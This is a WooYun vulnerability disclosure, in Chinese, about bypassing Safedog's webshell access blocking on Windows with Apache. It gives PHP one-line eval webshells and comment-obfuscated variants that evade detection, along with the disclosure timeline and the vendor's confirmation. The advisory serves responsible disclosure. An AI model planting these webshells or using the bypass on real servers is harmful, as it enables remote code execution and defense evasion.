漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0146958
漏洞标题：网站安全狗webshell访问拦截绕过(windows+apache)
相关厂商：安全狗
漏洞作者： 路人甲
提交时间：2015-10-20 15:12
修复时间：2016-01-18 16:40
公开时间：2016-01-18 16:40
漏洞类型：设计错误/逻辑缺陷
危害等级：中
自评Rank：8
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-10-20： 细节已通知厂商并且等待厂商处理中
2015-10-20： 厂商已经确认，细节仅向厂商公开
2015-10-23： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-12-14： 细节向核心白帽子及相关领域专家公开
2015-12-24： 细节向普通白帽子公开
2016-01-03： 细节向实习白帽子公开
2016-01-18： 细节向公众公开
简要描述：
网站安全狗（APACHE版）for Windows 3.5.11730
详细说明：
绕过方法估计很多，这里抛砖引玉，以后有时间再梳理。
这里针对php，使用注释符绕过一句话木马的检测。
被拦截的一句话：
<?php @eval($_GET["c"]);?>
<?php @eval($_POST["c"]);?>
绕过拦截的一句话：
<?php @eval($_GET/**/["c"]);?>
<?php @eval($_REQUEST/**/["c"]);?>
网站安全狗（APACHE版）for Windows
测试主程序版本：3.5.11730
测试网马库版本：2015-10-08
测试环境：vmware Windows xp sp3，apache+php+mysql集成环境
测试过程：
访问正常的一句话，被拦截：
访问变形的一句话：
使用菜刀客户端访问：
补充：
在3.1版本中，安全狗apache版网马查杀也无法扫描该变形的一句话木马，但是在3.5版本可以扫描出来，但是仍然没有拦截对其的访问。
漏洞证明：
修复方案：
完善特征。
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：7
确认时间：2015-10-20 16:32
厂商回复：
狗友，不必匿名的，我知道都是同一个人，谢谢你为安全狗做出的努力，多交几个，我争取要个礼物给你哈。
最新状态：
暂无
漏洞评价：
评价
-
@aptvxo windows+apache的少吧
( 普通白帽子 | Rank:282 漏洞数:21 | 当我又回首一切,这个世界会好吗?)